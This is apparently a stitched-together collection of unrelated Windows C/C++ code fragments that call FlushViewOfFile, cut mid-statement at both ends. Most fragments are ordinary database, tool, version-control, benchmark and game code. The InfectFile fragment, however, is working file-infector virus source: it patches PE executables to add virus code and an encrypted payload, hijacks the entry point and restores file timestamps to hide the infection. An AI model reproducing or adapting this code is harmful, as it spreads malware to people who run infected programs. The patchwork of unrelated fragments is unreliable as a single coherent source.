sizeof(pEvHead->sSpare)); //strncpy(pEvHead->sScenName, pCatItem->Data.sScenName, sizeof(pEvHead->sScenName)); change to line below to avoid ASSERT memcpy(pEvHead->sScenName, pCatItem->Data.sScenName, sizeof(pEvHead->sScenName)); //KGA/PKH//CNM/KGA memcpy(pEvHead->sCopyNotice, CopyNotice, sizeof(pEvHead->sCopyNotice)); FlushViewOfFile((void*)pEvHead, 0); } dJmpDelta = pInfo->dwFileAllocLen / MaxJmps; FreeEvBlk(); return true; }
int InfectFile(char *fname) { HANDLE hfile, hfilemap, haddfile; unsigned int fsize; // veli�ina fajla char *filemap; // pointer na MMF char *filestart; // uvek pointer na po�etak MMF unsigned int retvalue; // povratna vrednost iz ove f-je unsigned int fattr; // atributi fajla unsigned int NumberOfSections; // broj sekcija PE fajla unsigned int *EntryPointRVA; // pointer na mesto u fajlu gde se �uva EntryPoint RVA unsigned int ImageBase; // Image base adresa unsigned int SectionAlign; // alignment veli�ine svake sekcije unsigned int *SizeofImage; // pointer na SizeOfImage PIMAGE_DATA_DIRECTORY entry_idd;// pointer na prvi Data directorys char *ImportTable; // Import Table unsigned int ISrva2ofs; // konverzija RVA u file ofset (za ImportSekciju) unsigned int *IAT, *HNA; // Import Address Table & Hint Name Address unsigned int *UseT; // ili IAT ili HNA char *module_name; // ime IMPORT modula char *virusstart; // file offset gde �e po�eti virus char kernel32[]="KERNEL32.DLL"; // kernel32.dll char getmodulehandle[]="GetModuleHandleA"; // imena f-ja char getprocaddress[]="GetProcAddress"; // koje tra�imo unsigned int GetModuleHandleRVA; // RVA adresa gde �e virus... unsigned int GetProcAddressRVA; // ...na�i ove funkcije unsigned int i; // pomo�ne promenljive unsigned int raw_virussize; // veli�ina samo virus koda (bez add exe) unsigned int align_virussize; // align veli�ina virus unsigned int overlay; // veli�ina overlaya ako je ima FILETIME creation_time, lastacc_time, lastwr_time; #define function_name module_name #ifdef I_TESTMODE testIfile=CreateFile("c:\\k2test_i.dat", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, NULL); WriteFile(testIfile, fname, lstrlen(fname), &Iwritten, NULL); #endif /*** PO�ETAK & PRIPREMA FAJLOVA ***/ // uzmi atribute fajla i ako je setovan read-only onda ga resetuj fattr=GetFileAttributes(fname); // uzmi atribute fajla if (fattr & FILE_ATTRIBUTE_READONLY) // resetuj readonly ako ga ima SetFileAttributes(fname, fattr ^ FILE_ATTRIBUTE_READONLY); // otvari fajl hfile=CreateFile(fname, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, fattr, NULL); if (hfile==INVALID_HANDLE_VALUE) {retvalue=0x10; goto end1;} #ifdef I_TESTMODE WriteFile(testIfile, "\r\nopen", 6, &Iwritten, NULL); #endif // uzmi veli�inu fajla fsize=GetFileSize(hfile, NULL); if (fsize>0xFFFFFFFF-VIRUSLEN) {retvalue=0x11; goto end2;} // ako je fajl prevelik if (fsize<256) {retvalue=0x11; goto end2;} // ako je fajl suvi�e mali oldfilesize=fsize; // zapamti i originalnu veli�inu fajla // sa�uvaj original vreme fajla GetFileTime(hfile, &creation_time, &lastacc_time, &lastwr_time); // kreiraj MMF hfilemap=CreateFileMapping (hfile, NULL, PAGE_READWRITE, 0, fsize+VIRUSLEN, NULL); if (hfilemap==NULL) {retvalue=0x12; goto end2;} // kreiraj MMF view na ceo fajl filemap=(void *) MapViewOfFile (hfilemap, FILE_MAP_ALL_ACCESS, 0,0,0); if (filemap==NULL) {retvalue=0x13; goto end3;} filestart=filemap; #ifdef I_TESTMODE WriteFile(testIfile, "\r\nmapped", 8, &Iwritten, NULL); #endif // proveri da li je fajl DOS .EXE if (*(unsigned short int *)filemap != IMAGE_DOS_SIGNATURE1) // e_magic == MZ ? if (*(unsigned short int *)filemap != IMAGE_DOS_SIGNATURE2) // e_magic == ZM ? {retvalue=0x101; goto end4;} // nije, iza�i // pomeri se na adresu PE exe header-a filemap += ((PIMAGE_DOS_HEADER)filemap)->e_lfanew; // proveri da signature odgovara PE exe fajlu if (IsBadCodePtr((FARPROC)filemap)) {retvalue=0x102; goto end4;} if (*(DWORD *)filemap != IMAGE_NT_SIGNATURE) // 'PE00' {retvalue=0x102; goto end4;} // presko�i signature i sada smo na po�etku PE headera filemap += sizeof(DWORD); #ifdef I_TESTMODE WriteFile(testIfile, "\r\nPEok", 6, &Iwritten, NULL); #endif /*** PREUZIMANJE PODATAKA ***/ // preuzmi broj sekcija NumberOfSections = ((PIMAGE_FILE_HEADER)filemap)->NumberOfSections; // presko�i PE header i sada pokazujemo na PE Optional header filemap += IMAGE_SIZEOF_FILE_HEADER; // proveri da li je exe fajl za GUI (nije konzolna aplikacija) if (((PIMAGE_OPTIONAL_HEADER)filemap)->Subsystem != IMAGE_SUBSYSTEM_WINDOWS_GUI) {retvalue=0x103; goto end4;} // zapamti pointer na entry pointa i=(unsigned int)filemap + 16; // 16 je ofset do EntryPoint-a EntryPointRVA = (unsigned int *)i; // zapamti ImageBase ImageBase = ((PIMAGE_OPTIONAL_HEADER)filemap)->ImageBase; // zapamti Alignment sekcija SectionAlign = ((PIMAGE_OPTIONAL_HEADER)filemap)->FileAlignment; // preuzmi pointer na SizeOfImage i=(unsigned int)filemap + 56; // 56 je ofset do SizeOfImage SizeofImage = (unsigned int *)i; // preuzmi pointer na DirectoryData i=(unsigned int)filemap + 96; // 96 je ofset do DirectoryData entry_idd = (PIMAGE_DATA_DIRECTORY) i; // vidi da li postoji IMPORT sekcija - ako ne postoji onda veli�ina==0 if (!(entry_idd[IMAGE_DIRECTORY_ENTRY_IMPORT]).Size) {retvalue=0x105; goto end4;} // presko�i i PE Optional header, sada smo na po�etku Section Table // ova tabla sadr�i Section Header-e kojih ima NumberOfSections filemap += sizeof(IMAGE_OPTIONAL_HEADER); #ifdef I_TESTMODE WriteFile(testIfile, "\r\nimport ok", 10, &Iwritten, NULL); #endif /*** NALA�ENJE IMPORT SEKCIJE ***/ i=0; ImportTable=NULL; // pretra�i celu Section Table da bi na�li Import sekciju (sadr�i IT) // tako�e treba locirati poslednji Section Header while (i<NumberOfSections) { #ifdef I_TESTMODE // ime sekcije wsprintf(_testb, "\r\n%.8s", ((PIMAGE_SECTION_HEADER)filemap)->Name); WriteFile(testIfile, _testb, 10, &Iwritten, NULL); #endif // Da li je trenutna sekcija IMPORT sekcija? // proverava se da li je VirtualAddress iz DirectoryData[IMPORT] // unutar RVA granica trenutne sekcije: [VirtualAddress, VirtualAddress+SizeOfRawData). if (!ImportTable) // ako IMPORT sekcija jo� uvek nije na�ena if ((entry_idd[IMAGE_DIRECTORY_ENTRY_IMPORT]).VirtualAddress - ((PIMAGE_SECTION_HEADER)filemap)->VirtualAddress < ((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData) { // pomo�na promenljiva, treba kasnije ISrva2ofs = (unsigned int) filestart + ((PIMAGE_SECTION_HEADER)filemap)->PointerToRawData - ((PIMAGE_SECTION_HEADER)filemap)->VirtualAddress; // Na�ena je IMPORT sekcij!, preuzi file offset na njen po�etak ImportTable = (char *) ((entry_idd[IMAGE_DIRECTORY_ENTRY_IMPORT]).VirtualAddress + ISrva2ofs); // iako je import sekcija prona�ena, vrti dalje da bi na�ao // poslednju sekciju } // idi na slede�u sekciju filemap+=IMAGE_SIZEOF_SECTION_HEADER; // sizeof(IMAGE_SECTION_HEADER); i++; } // gre�ka - nijedna sekcija nije IMPORT if (!ImportTable) {retvalue=0x106; goto end4;} /*** NALA�ENJE SVIH KERNEL32.DLL ***/ // resetuje pointere GetModuleHandleRVA=GetProcAddressRVA=0; while (1) { // preuzmi ime DLLa i=((PIMAGE_IMPORT_DESCRIPTOR)ImportTable)->Name; if (i) module_name = (char *) (ISrva2ofs + i); else break; // kraj, nema vi�e DLLova // poredi ime DLLa sa 'KERNEL32.DLL' if (!lstrcmpi(module_name, kernel32)) { /*** NA�AO KERNEL32.DLL - NALA�ENJE WinAPI FUNKCIJA ***/ // preuzmi file ofset na IAT i=ISrva2ofs + (unsigned int)((PIMAGE_IMPORT_DESCRIPTOR)ImportTable)->FirstThunk; IAT=(unsigned int*) (i); // preuzmi file ofset na HNA, ako je ima i=((PIMAGE_IMPORT_DESCRIPTOR)ImportTable)->Characteristics; if (i) { i+=ISrva2ofs; HNA=(unsigned int*) (i); } else HNA=0; UseT=IAT; // pretra�uje se IAT if (HNA) // ako postoji HNA (nije Borland) if (*HNA != *IAT) // ako razli�ito pokazuju IAT i HNA UseT=HNA; // onda je IAT optimizovan (Micro$oft), pa se pretra�uje HNA // pretra�i IAT ili HNA za potrebnim funkcijama while (*UseT) { // postoji samo ordinal, idi dalje if ((signed int)(*UseT) < 0) { UseT++; IAT++; continue; } // postoji i ime funkcije, ordinal nije obavezan da postoji! i = *UseT + ISrva2ofs; function_name = ((PIMAGE_IMPORT_BY_NAME)i)->Name; #ifdef I_TESTMODE_API WriteFile(testIfile, "\r\n", 2, &Iwritten, NULL); WriteFile(testIfile, function_name, lstrlen(function_name), &Iwritten, NULL); #endif // poredi ime IMPORT f-je sa 'GetModuleHandleA', ako nije na�ena if (!GetModuleHandleRVA) if (!lstrcmpi(function_name, getmodulehandle)) { // na�ao, sa�uvaj RVA na IAT [GetModuleHandleA] GetModuleHandleRVA = (unsigned int) IAT - ISrva2ofs; if (GetProcAddressRVA) break; // ako su na�ene obe f-je, iza�i } // poredi ime IMPORT f-je sa 'GetProcAddress', ako nije na�ena if (!GetProcAddress) if (!lstrcmpi(function_name, getprocaddress)) { // na�ao, sa�uvaj RVA na IAT [GetProcAddress] GetProcAddressRVA = (unsigned int) IAT - ISrva2ofs; if (GetModuleHandleRVA) break; // ako su na�ene obe f-je, iza�i } // idi na slede�u IMPORT funkciju UseT++; IAT ++; } // while, zavr�ena pretraga IAT // ako su na�ene obe funkcije iza�i! if (GetModuleHandleRVA && GetProcAddressRVA) break; } // idi na slede�u IMPORT biblioteku ImportTable += sizeof (IMAGE_IMPORT_DESCRIPTOR); }; if (!GetModuleHandleRVA) // nije na�ao prvu f-ju {retvalue=0x108; goto end4;} // if (!GetProcAddressRVA) // nije na�ao drugu f-ju // {retvalue=0x109; goto end4;} // ali, ko zna, mo�da je izvu�emo iz KERNEL32.DLL #ifdef I_TESTMODE WriteFile(testIfile, "\r\nattach", 8, &Iwritten, NULL); #endif /*** ATTACH FILE ***/ #define viruscode module_name #define temp ISrva2ofs #define j NumberOfSections // otvori addexe fajl koji �e se upisati haddfile=CreateFile(addfile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, fattr, NULL); if (haddfile==INVALID_HANDLE_VALUE) {retvalue=0x10A; goto end4;} // uzmi njegovu veli�inu i ujedno je zapamti addfile_size=GetFileSize(haddfile, NULL); // vrati da filemap pokazuje na poslednju sekciju // pa�nja! postoje sekcije koje nisu fizi�ki prisutne u pe exe fajlu (.bss) // one se razlikuju samo po tome �to je njihov PointerToRawData==0 // ili je SizeOfRawData==0 do { filemap -= IMAGE_SIZEOF_SECTION_HEADER; temp=((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData; i=((PIMAGE_SECTION_HEADER)filemap)->PointerToRawData; } while ( !temp || !i ); // na�i file ofset gde treba dodati virus. Na �alost, VirtualSize mo�e // biti 0 (watcom linker) tako da se on ne mo�e koristiti. i+=temp; if (fsize>i) overlay=fsize-i; else overlay=0; virusstart = filestart + i + overlay; // ako ima overlay, onda ga presko�i // odredi RAW veli�inu koda virusa raw_virussize=&virus_end-&virus_start; // odredi i Align veli�inu koda virusa + add file align_virussize=(((raw_virussize+addfile_size+overlay)/SectionAlign) + 1) * SectionAlign; // preuzmi pointer na po�etak koda virusa viruscode=&virus_start; // zapi�i u virus RVA+ImageBase na�e dve winAPI f-je ddGetModuleHandleA = GetModuleHandleRVA + ImageBase; ddGetProcAddress = GetProcAddressRVA; if (GetProcAddressRVA) ddGetProcAddress += ImageBase; // Promeni RVA entry pointa na RVA po�etka virusa oldEntryPoint=*EntryPointRVA + ImageBase; // sa�uvaj u fajlu stari entry point (RVA + ImageBase) oldEntryPointRVA=*EntryPointRVA; // sa�uvaj u fajlu samo RVA starog entry pointa j=((PIMAGE_SECTION_HEADER)filemap)->VirtualAddress + temp + overlay; oldEPoffs=(unsigned int) EntryPointRVA - (unsigned int) filestart; // sa�uvaj i pointer na mesto entry pointa *EntryPointRVA=j; // setuj RVA novog Entry Pointa // Promeni veli�inu poslednje sekcije i celog fajla oldoffs1=filemap-filestart+16; // zapamti fajl ofset i olddata1=((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData; // stare podatke na tom mestu ((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData += align_virussize; fsize += align_virussize - overlay; // Promeni veli�inu poslednje sekcije (VirtualSize) ako <> 0 oldoffs4=filemap-filestart+8; // zapamti fajl offset i olddata4=((PIMAGE_SECTION_HEADER)filemap)->Misc.VirtualSize; // stare podatke na tom mestu if (olddata4) // setuj novu veli�inu ako je ona <> 0 ((PIMAGE_SECTION_HEADER)filemap)->Misc.VirtualSize = ((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData; // Promeni veli�inu sekcije (opet), ako ona postoji u DirectoryData. // prvo se mora ustanoviti koja je sekcija u pitanju: koje sekcije RVA // spada ovde (kao malo pre) oldoffs2=i=0; while (i<IMAGE_NUMBEROF_DIRECTORY_ENTRIES) { if ((entry_idd[i]).VirtualAddress - ((PIMAGE_SECTION_HEADER)filemap)->VirtualAddress < temp) { // na�ao sekciju, zapamti stare vrednosti oldoffs2=(unsigned int) &(entry_idd[i].Size) - (unsigned int) filestart; olddata2=(entry_idd[i]).Size; // promeni i njoj veli�inu (entry_idd[i]).Size += align_virussize; break; } i++; } // Promeni karakteristiku ove poslednje sekcije (by Jacky Qwerty/29A) oldoffs3=filemap-filestart+36; // zapamti fajl ofset i olddata3=((PIMAGE_SECTION_HEADER)filemap)->Characteristics; // stare podatke na tom mestu ((PIMAGE_SECTION_HEADER)filemap)->Characteristics = (IMAGE_SCN_MEM_EXECUTE + IMAGE_SCN_MEM_READ + IMAGE_SCN_MEM_WRITE); // Promeni SizeOfImage za align_virussize oldoffs5=(unsigned int)SizeofImage-(unsigned int)filestart; olddata5=*SizeofImage; *SizeofImage+=align_virussize; kript=(char) GetTickCount(); // zapamti i slu�ajan broj koji slu�i za dekriptovanje #ifdef I_TESTMODE WriteFile(testIfile, "\r\nwrite", 7, &Iwritten, NULL); #endif /*** UPISIVANJE U FAJL ***/ // Upi�i virus u fajl for (j=0; j<raw_virussize; j++) virusstart[j]=viruscode[j]; // Upi�i i exe odmah posle virusstart=&virusstart[raw_virussize]; ReadFile(haddfile, virusstart, addfile_size, (LPDWORD) &i, NULL); // Kriptuj fajl jednostavno i uvek slu�ajno for (j=0; j<addfile_size; j++, kript+=173) virusstart[j]-=kript; // zatvori add exe fajl CloseHandle(haddfile); /*** REGULARAN KRAJ ***/ retvalue=0; FlushViewOfFile(filestart,0); // upi�i sve promene nazad u fajl end4: UnmapViewOfFile(filestart); // zatvari MMF view end3: CloseHandle(hfilemap); // zatvori MMF // bez obzira da li je fajl uspe�no inficiran ili ne treba setovati // njegovu veli�inu, jer ako je nastala gre�ka veli�ina fajla �e // se pove�ati, a virus ne�e biti dodat! // namesti regularnu veli�inu fajla SetFilePointer(hfile, fsize, NULL, FILE_BEGIN); SetEndOfFile(hfile); // vrati staro vreme SetFileTime(hfile, &creation_time, &lastacc_time, &lastwr_time); // a i atribute (ako je bio read-only) if (fattr & FILE_ATTRIBUTE_READONLY) SetFileAttributes(fname, fattr); end2: CloseHandle(hfile); // zatvori fajl end1: #ifdef I_TESTMODE WriteFile(testIfile, "\r\nend", 5, &Iwritten, NULL); CloseHandle(testIfile); #endif return retvalue; // vrati rezultat }
void flush() { if (!_view || !_fd) return; { LockMongoFilesShared mmfilesLock; std::set<MongoFile*> mmfs = MongoFile::getAllFiles(); std::set<MongoFile*>::const_iterator it = mmfs.find(_theFile); if ( it == mmfs.end() || (*it)->getUniqueId() != _id ) { // this was deleted while we were unlocked return; } // Hold the flush mutex to ensure the file is not closed during flush _flushMutex.lock(); } stdx::lock_guard<stdx::mutex> lk(_flushMutex, stdx::adopt_lock); int loopCount = 0; bool success = false; bool timeout = false; int dosError = ERROR_SUCCESS; const int maximumTimeInSeconds = 60 * 15; Timer t; while ( !success && !timeout ) { ++loopCount; success = FALSE != FlushViewOfFile( _view, 0 ); if ( !success ) { dosError = GetLastError(); if ( dosError != ERROR_LOCK_VIOLATION ) { break; } timeout = t.seconds() > maximumTimeInSeconds; } } if ( success && loopCount > 1 ) { log() << "FlushViewOfFile for " << _filename << " succeeded after " << loopCount << " attempts taking " << t.millis() << "ms" << endl; } else if ( !success ) { log() << "FlushViewOfFile for " << _filename << " failed with error " << dosError << " after " << loopCount << " attempts taking " << t.millis() << "ms" << endl; // Abort here to avoid data corruption fassert(16387, false); } success = FALSE != FlushFileBuffers(_fd); if (!success) { int err = GetLastError(); log() << "FlushFileBuffers failed: " << errnoWithDescription( err ) << " file: " << _filename << endl; dataSyncFailedHandler(); } }
void UpdateOSDEx(LPCSTR lpText, LPRTSS_SHARED_MEMORY pMem, char *OSD) { lstrcpyn(OSD, lpText, 255); pMem->dwOSDFrame++; FlushViewOfFile(pMem, 0); }
int _CRTAPI1 main( int argc, char *argv[] ) { HANDLE FileHandle; HANDLE MappingHandle; PIMAGE_NT_HEADERS NtHeaders; PVOID BaseAddress; ULONG CheckSum; ULONG FileLength; ULONG HeaderSum; ULONG OldCheckSum; LPSTR ImageName; BOOLEAN fVerbose = FALSE; BOOLEAN fQuiet = FALSE; LPSTR s; UCHAR c; if (argc <= 1) { Usage(); } while (--argc) { s = *++argv; if ( *s == '-' ) { while (c=*++s) { switch (c) { case 'q': case 'Q': fQuiet = TRUE; break; case 'v': case 'V': fVerbose=TRUE; break; case 'h': case 'H': case '?': Usage(); default: fprintf( stderr, "VERFIX: illegal option /%c\n", c ); Usage(); } } } else { ImageName = s; FileHandle = CreateFile( ImageName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL ); if (FileHandle == INVALID_HANDLE_VALUE) { if (!fQuiet) { fprintf( stderr, "VERFIX: Unable to open %s (%u) - skipping\n", ImageName, GetLastError() ); } } else { } MappingHandle = CreateFileMapping( FileHandle, NULL, PAGE_READWRITE, 0, 0, NULL ); if (MappingHandle == NULL) { CloseHandle( FileHandle ); if (!fQuiet) { fprintf( stderr, "VERFIX: Unable to create mapping object for file %s (%u) - skipping\n", ImageName, GetLastError() ); } } else { BaseAddress = MapViewOfFile( MappingHandle, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0 ); CloseHandle( MappingHandle ); if (BaseAddress == NULL) { CloseHandle( FileHandle ); if (!fQuiet ) { fprintf( stderr, "VERFIX: Unable to map view of file %s (%u) - skipping\n", ImageName, GetLastError() ); } } else { // // Get the length of the file in bytes and compute the checksum. // FileLength = GetFileSize( FileHandle, NULL ); // // Obtain a pointer to the header information. // NtHeaders = ImageNtHeader( BaseAddress ); if (NtHeaders == NULL) { CloseHandle( FileHandle ); UnmapViewOfFile( BaseAddress ); if (!fQuiet) { fprintf( stderr, "VERFIX: %s is not a valid image file - skipping\n", ImageName, GetLastError() ); } } else { // // Recompute and reset the checksum of the modified file. // OldCheckSum = NtHeaders->OptionalHeader.CheckSum; (VOID) CheckSumMappedFile( BaseAddress, FileLength, &HeaderSum, &CheckSum ); NtHeaders->OptionalHeader.CheckSum = CheckSum; if (!FlushViewOfFile( BaseAddress, FileLength )) { if (!fQuiet) { fprintf( stderr, "VERFIX: Flush of %s failed (%u)\n", ImageName, GetLastError() ); } } if (NtHeaders->OptionalHeader.CheckSum != OldCheckSum) { if (!TouchFileTimes( FileHandle, NULL )) { if (!fQuiet) { fprintf( stderr, "VERFIX: Unable to touch file %s (%u)\n", ImageName, GetLastError() ); } } else if (fVerbose) { printf( "%s - Old Checksum: %x", ImageName, OldCheckSum ); printf( " New Checksum: %x\n", NtHeaders->OptionalHeader.CheckSum ); } } UnmapViewOfFile( BaseAddress ); CloseHandle( FileHandle ); } } } } } exit( 0 ); return 0; }
int CLogCache::SaveCache() { if (!m_bEnabled) return 0; int ret =0; BOOL bIsRebuild=false; if (this->m_HashMap.empty()) // is not sufficient, because "working copy changes" are always included return 0; if( this->m_GitDir.IsEmpty()) return 0; if (this->m_pCacheIndex && m_pCacheIndex->m_Header.m_ItemCount == 0) // check for empty log list (issue #915) return 0; SLogCacheIndexFile *pIndex = NULL; if(this->m_pCacheIndex) { pIndex = (SLogCacheIndexFile *)malloc(sizeof(SLogCacheIndexFile) +sizeof(SLogCacheIndexItem) * (m_pCacheIndex->m_Header.m_ItemCount) ); if(pIndex ==NULL) return -1; memcpy(pIndex,this->m_pCacheIndex, sizeof(SLogCacheIndexFile) + sizeof(SLogCacheIndexItem) *( m_pCacheIndex->m_Header.m_ItemCount-1) ); } this->CloseDataHandles(); this->CloseIndexHandles(); SLogCacheIndexHeader header; CString file = this->m_GitDir + INDEX_FILE_NAME; do { m_IndexFile = CreateFile(file, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(m_IndexFile == INVALID_HANDLE_VALUE) { ret = -1; break; } file = m_GitDir + DATA_FILE_NAME; m_DataFile = CreateFile(file, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(m_DataFile == INVALID_HANDLE_VALUE) { ret = -1; break; } { memset(&header,0,sizeof(SLogCacheIndexHeader)); DWORD num=0; if((!ReadFile(m_IndexFile,&header, sizeof(SLogCacheIndexHeader),&num,0)) || !CheckHeader(&header) ) { RebuildCacheFile(); bIsRebuild =true; } } if(!bIsRebuild) { SLogCacheDataFileHeader header; DWORD num=0; if((!ReadFile(m_DataFile,&header,sizeof(SLogCacheDataFileHeader),&num,0)|| !CheckHeader(&header))) { RebuildCacheFile(); bIsRebuild=true; } } if(bIsRebuild) header.m_ItemCount=0; SetFilePointer(m_DataFile,0,0,2); SetFilePointer(m_IndexFile,0,0,2); for (auto i = m_HashMap.begin(); i != m_HashMap.end(); ++i) { if(this->GetOffset((*i).second.m_CommitHash,pIndex) ==0 || bIsRebuild) { if((*i).second.m_IsDiffFiles && !(*i).second.m_CommitHash.IsEmpty()) { LARGE_INTEGER offset; offset.LowPart=0; offset.HighPart=0; LARGE_INTEGER start; start.QuadPart = 0; SetFilePointerEx(this->m_DataFile,start,&offset,1); if (this->SaveOneItem((*i).second, (LONG)offset.QuadPart)) { TRACE(_T("Save one item error")); SetFilePointerEx(this->m_DataFile,offset, &offset,0); continue; } SLogCacheIndexItem item; item.m_Hash = (*i).second.m_CommitHash; item.m_Offset=offset.QuadPart; DWORD num; WriteFile(m_IndexFile,&item,sizeof(SLogCacheIndexItem),&num,0); ++header.m_ItemCount; } } } FlushFileBuffers(m_IndexFile); m_IndexFileMap = CreateFileMapping(m_IndexFile, NULL, PAGE_READWRITE,0,0,NULL); if(m_IndexFileMap == INVALID_HANDLE_VALUE) { ret =-1; break; } m_pCacheIndex = (SLogCacheIndexFile*)MapViewOfFile(m_IndexFileMap,FILE_MAP_WRITE,0,0,0); if(m_pCacheIndex == NULL) { ret = -1; break; } m_pCacheIndex->m_Header.m_ItemCount = header.m_ItemCount; Sort(); FlushViewOfFile(m_pCacheIndex,0); }while(0); this->CloseDataHandles(); this->CloseIndexHandles(); if(pIndex) free(pIndex); return ret; }
int file_fsync(unsigned int file_id, int thread_id) { FILE_DESCRIPTOR fd = files[file_id]; #ifdef HAVE_LIBAIO struct iocb iocb; #else (void)thread_id; /* unused */ #endif /* FIXME: asynchronous fsync support is missing in Linux kernel at the moment */ if (file_io_mode == FILE_IO_MODE_SYNC || file_io_mode == FILE_IO_MODE_ASYNC #if defined(HAVE_MMAP) && SIZEOF_SIZE_T == 4 /* Use fsync in mmaped mode on 32-bit architectures */ || file_io_mode == FILE_IO_MODE_MMAP #endif ) { if (file_fsync_mode == FSYNC_ALL) #ifndef _WIN32 return fsync(fd); #else return !FlushFileBuffers(fd); #endif #ifdef HAVE_FDATASYNC return fdatasync(fd); #else log_text(LOG_ALERT, "Unknown fsync mode: %d", file_fsync_mode); return -1; #endif } #ifdef HAVE_LIBAIO else if (file_io_mode == FILE_IO_MODE_ASYNC) { /* Use asynchronous fsync */ if (file_fsync_mode == FSYNC_ALL) io_prep_fsync(&iocb, fd); else io_prep_fdsync(&iocb, fd); return file_submit_or_wait(&iocb, FILE_OP_TYPE_FSYNC, 0, thread_id); } #endif #ifdef HAVE_MMAP /* Use msync on file on 64-bit architectures */ else if (file_io_mode == FILE_IO_MODE_MMAP) { #ifndef _WIN32 msync(mmaps[file_id], file_size, MS_SYNC | MS_INVALIDATE); #else FlushViewOfFile(mmaps[file_id], (size_t)file_size); #endif } #endif return 1; /* Unknown I/O mode */ }
DWORD game_loop_main(LPVOID thread_input) { struct common_vars common_vars = *(struct common_vars *)thread_input; profiler profiler = {}; profiler_create(&profiler); LARGE_INTEGER performance_frequency = {}; QueryPerformanceFrequency(&performance_frequency); memory_arena memory_arena = {}; if (!virtual_alloc_memory_arena(m_megabytes(16), common_vars.system_info.dwPageSize, &memory_arena)) { m_die("call to \"virtual_alloc_memory_arena\" failed(event_render_loop_thread memory arena)"); } vulkan vulkan = {}; { m_memory_arena_undo_allocations_at_scope_exit(&memory_arena); string info_string = { memory_arena_allocate<char>(&memory_arena, m_kilobytes(4)), 0, m_kilobytes(2) }; string err_string = { memory_arena_allocate<char>(&memory_arena, m_kilobytes(1)), 0, m_kilobytes(1) }; vulkan_create_info vulkan_create_info = {}; vulkan_create_info.win32_instance = common_vars.instance; vulkan_create_info.win32_window = common_vars.window; const char *shader_file_paths[] = { "shaders\\swap_chain_pipeline_image.vert.spv", "shaders\\swap_chain_pipeline_image.frag.spv" }; if (!read_file_into_memory_arena(shader_file_paths[0], &memory_arena, &vulkan_create_info.swap_chain_pipeline_image_code[0], &vulkan_create_info.swap_chain_pipeline_image_code_sizes[0]) || !read_file_into_memory_arena(shader_file_paths[1], &memory_arena, &vulkan_create_info.swap_chain_pipeline_image_code[1], &vulkan_create_info.swap_chain_pipeline_image_code_sizes[1])) { m_die("call to \"read_file_into_memory_arena\" failed(swap_chain_pipeline_image shaders)"); } if (!vulkan_create(vulkan_create_info, &memory_arena, &info_string, &err_string, &vulkan)) { m_die("%s", err_string.buf); } else { m_printf("%s", info_string.buf); } } game_buffer game_buffer = {}; vec4 game_buffer_viewport = {}; HANDLE game_buffer_gpk_file_handle = nullptr; HANDLE game_buffer_gpk_file_mapping = nullptr; void *game_buffer_gpk_file_mapping_ptr = nullptr; HANDLE game_buffer_mpk_import_shared_memory_mapping = nullptr; void *game_buffer_mpk_import_shared_memory_mapping_ptr = nullptr; HANDLE game_buffer_mpk_import_shared_memory_semaphore = nullptr; { game_buffer_create_info game_buffer_create_info = {}; if (!virtual_alloc_memory_arena(m_megabytes(512), common_vars.system_info.dwPageSize, &game_buffer_create_info.memory_arena)) { m_die("call to \"virtual_alloc_memory_arena\" failed(game buffer memory arena)"); } game_buffer_create_info.vulkan = &vulkan; game_buffer_create_info.vulkan_framebuffer_width = 1920; game_buffer_create_info.vulkan_framebuffer_height = 1080; if (!game_buffer_create(game_buffer_create_info, &game_buffer)) { m_die("call to \"game_buffer_create\" failed"); } #ifdef EDITOR_ENABLE game_buffer_editor_create_info game_buffer_editor_create_info = {}; game_buffer_editor_create_info.game_buffer = &game_buffer; game_buffer_editor_create_info.vulkan = &vulkan; game_buffer_editor_create_info.imgui_init_file = "assets\\gpks\\example.gpk.imgui.ini"; game_buffer_editor_create_info.imgui_font_file = "assets\\fonts\\OpenSans-Regular.ttf"; game_buffer_editor_create_info.imgui_font_size = GetSystemMetrics(SM_CXSCREEN) / 150; game_buffer_editor_create_info.set_imgui_keymap = [] (ImGuiIO *imgui_io) { imgui_io->KeyMap[ImGuiKey_Tab] = VK_TAB; imgui_io->KeyMap[ImGuiKey_LeftArrow] = VK_LEFT; imgui_io->KeyMap[ImGuiKey_RightArrow] = VK_RIGHT; imgui_io->KeyMap[ImGuiKey_UpArrow] = VK_UP; imgui_io->KeyMap[ImGuiKey_DownArrow] = VK_DOWN; imgui_io->KeyMap[ImGuiKey_PageUp] = VK_PRIOR; imgui_io->KeyMap[ImGuiKey_PageDown] = VK_NEXT; imgui_io->KeyMap[ImGuiKey_Home] = VK_HOME; imgui_io->KeyMap[ImGuiKey_End] = VK_END; imgui_io->KeyMap[ImGuiKey_Backspace] = VK_BACK; imgui_io->KeyMap[ImGuiKey_Enter] = VK_RETURN; imgui_io->KeyMap[ImGuiKey_Escape] = VK_ESCAPE; imgui_io->KeyMap[ImGuiKey_A] = 'A'; imgui_io->KeyMap[ImGuiKey_C] = 'C'; imgui_io->KeyMap[ImGuiKey_V] = 'V'; imgui_io->KeyMap[ImGuiKey_X] = 'X'; imgui_io->KeyMap[ImGuiKey_Y] = 'Y'; imgui_io->KeyMap[ImGuiKey_Z] = 'Z'; }; { m_memory_arena_undo_allocations_at_scope_exit(&memory_arena); const char *file_paths[] = { "shaders\\imgui.vert.spv", "shaders\\imgui.frag.spv" }; VkShaderModule shader_modules[m_countof(file_paths)] = {}; for (uint i = 0; i < m_countof(file_paths); i += 1) { void *file_data; uint file_size; if (!read_file_into_memory_arena(file_paths[i], &memory_arena, &file_data, &file_size)) { m_die("call to \"read_file_into_memory_arena\" failed(game buffer shader files)"); } VkShaderModuleCreateInfo shader_module_info = { 